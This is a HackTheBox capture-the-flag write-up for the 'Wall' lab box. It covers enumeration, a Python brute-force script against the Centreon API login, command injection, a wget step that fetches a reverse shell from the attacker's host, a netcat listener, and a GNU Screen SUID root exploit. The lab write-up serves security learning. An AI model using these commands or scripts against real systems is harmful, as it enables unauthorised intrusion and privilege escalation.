HackTheBox - Wall

6 minute read

Wall was an easy 30 point box created by ecdo. It started out with finding a Centreon web interface, brute forcing the API to get login credentials and then logging in to find a page where we can get command injection. We then obtained a shell as www-data through the injection point and exploited a GNU Screen SUID binary to get both the root and user flags.

www-data

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.157 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 10.10.10.157

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
|   256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_  256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


HTTP


Checking out http://10.10.10.157/ we come across the Apache2 Ubuntu Default page:


Running Gobuster against the host we notice the /monitoring directory with the HTTP status code 401:

# gobuster dir -u http://10.10.10.157 -w /usr/share/wordlists/big.txt -t 40
/monitoring (Status: 401)

The HTTP 401 Unauthorized client error status response code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource

Navigating to http://10.10.10.157/monitoring we can see it’s prompting us for credentials:


Making a basic POST request to the resource with Curl we can see a 301 HTTP status code (Moved Permanently) and a link to the new location:

# curl -X POST http://10.10.10.157/monitoring
...
<title>301 Moved Permanently</title>
<p>The document has moved <a href="http://10.10.10.157/monitoring/">here</a>.</p>
...

The new location is the same URL but with an additional forward slash appended. If we make another POST request with Curl you’ll see /centreon mentioned in the response:

# curl -X POST http://10.10.10.157/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />


Centreon


Checking out http://10.10.10.157/centreon/ we come across the Centreon login page:

Centreon software products are designed to simplify installation and management in monitoring your enterprise IT systems, networks, applications and services.

The default Centreon credentials admin / centreon don’t appear to be working so we’ll continue our enumeration. Looking at the source code for the login page you’ll notice the following line:

<input name="centreon_token" type="hidden" value="f4b00155c7cddc2f50c41e16b034c5e6" />

Googling centreon_token leads us to the Centreon API Rest documentation. The Authentication section is of particular interest and we can see what type of request we need to make in order to authenticate:


With this in mind we can make a POST request to the API with Curl and note what response we receive:

# curl -X POST http://10.10.10.157/centreon/api/index.php?action=authenticate -d 'username=admin&password=centreon'
"Bad credentials"


API Brute Force


As we now know what error we receive from an invalid authentication request, we’re then able to include it within our script as an error clause. If Bad Credentials is not in the output from our request then we’ve probably authenticated successfully (bar any other errors).

import requests

url = "http://10.10.10.157/centreon/api/index.php?action=authenticate"
passwords = "/root/rockyou.txt"
pws = [line.strip('\n') for line in open(passwords)]

for pw in pws:
    data = {'username':'admin', 'password':pw}
    out = requests.post(url, data=data).text
    if "Bad credentials" not in out:
        print "[*] Password found: %s" % pw

Running the exploit we can see the password has been found:

# python centreon_api.py 
[*] Password found: password1

The Curl response from a successful request looks like the following:

# curl -X POST http://10.10.10.157/centreon/api/index.php?action=authenticate -d 'username=admin&password=password1' 
{"authToken":"2P118XnjR4WRTZ0DWYMTGD4QUKkUCJ2hxE1zjfGdAs4="}


Centreon Command Injection


After we login we come across the main.php page:


Browsing around the interface you’ll notice a Commands tab with five subsections:


It’s worth mentioning that the following command injection technique works on all of the subsections except Connectors. If you click on the Checks tab and then onto the Add button it will lead you to this page:


We can then enter a shell command within the Command Line box and then press the blue arrow and a window will pop up with the command output, like so:


As you can see from the above image the id command executed successfully and returned the following output:

uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)


www-data shell


Before downloading and executing a shell we first need to generate one. I used a basic Python script I created called shellshop.py which will input the user supplied IP and Port number into commonly used reverse shell one-liners and scripts:

# python shellshop.py -i 10.10.15.3 -p 443 -n 2 -o shell.php

      _       _ _     _
  ___| |_ ___| | |___| |_ ___ ___
 |_ -|   | -_| | |_ -|   | . | . |
 |___|_|_|___|_|_|___|_|_|___|  _|
                             |_|  
    
 0  Netcat ->  mknod backpipes		6   Perl   ->  socket one-liner
 1  Bash   ->  /dev/tcp			7   Python ->  socket one-liner
 2  PHP    ->  pentestmonkey		8   Ruby   ->  rsocket one-liner
 3  PHP    ->  fsock one-liner		9   PS     ->  PowerShell one-liner
 4  PHP    ->  shell_exec bash		10  SC     ->  Socat one-liner
 5  Perl   ->  pentestmonkey

[*] IP: 10.10.15.3
[*] PORT: 443
[*] OPTION: 2

[*] Written reverse shell to file: shell.php

The following table shows the commands executed, their output, and a brief description of each of them:

Command Ouput Description
pwd /usr/local/centreon/www Print the Working Directory (pwd) we’re currently in
which wget /usr/bin/wget Find out the absolute path of wget
/usr/bin/wget http://10.10.15.3/shell.php OK Use wget to GET our shell.php file we created
ls -l shell.php -rw-r–r– 1 www-data www-data 3425 Dec 6 18:14 shell.php List (ls) directory contents with long listing format (-l)
chmod 777 shell.php OK Change file Mode bits (chmod) to 777 (Read, Write, and Execute for all)
ls -l shell.php -rwxrwxrwx 1 www-data www-data 3425 Dec 6 18:14 shell.php Check our chmod command has changed permissions successfully
php shell.php Run our shell with PHP

Before executing the wget command we have to start a Python SimpleHTTPServer. We can see it has fetched our shell:

# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.157 - - [06/Dec/2019 11:16:22] "GET /shell.php HTTP/1.1" 200 -

We also have to start our netcat listener before running shell.php and we’ll get a shell as www-data.

# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.15.3] from (UNKNOWN) [10.10.10.157] 56376
Linux Wall 4.15.0-54-generic #58-Ubuntu SMP Mon Jun 24 10:55:24 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 18:21:42 up 14 min,  0 users,  load average: 0.26, 0.23, 0.18
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Wall:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon)


Flags

GNU Screen


Checking for SUID binaries present on Wall you’ll notice /bin/screen-4.5.0:

www-data@Wall:/tmp$ find / -perm -u=s -type f 2>/dev/null
/bin/screen-4.5.0

GNU Screen has a well known priv esc exploit that’ll take us straight to root. It can be found here.

All we have to do is upload the exploit with wget and run it without any modifications and we get the root and user flags.

www-data@Wall:/tmp$ ./root.sh
./root.sh                       
~ gnu/screenroot ~
[+] First, we create our shell and library...    
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!

# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
# cat /home/shelby/user.txt
cat /home/shelby/user.txt
fe6194...

# cat /root/root.txt
cat /root/root.txt
1fdbcf...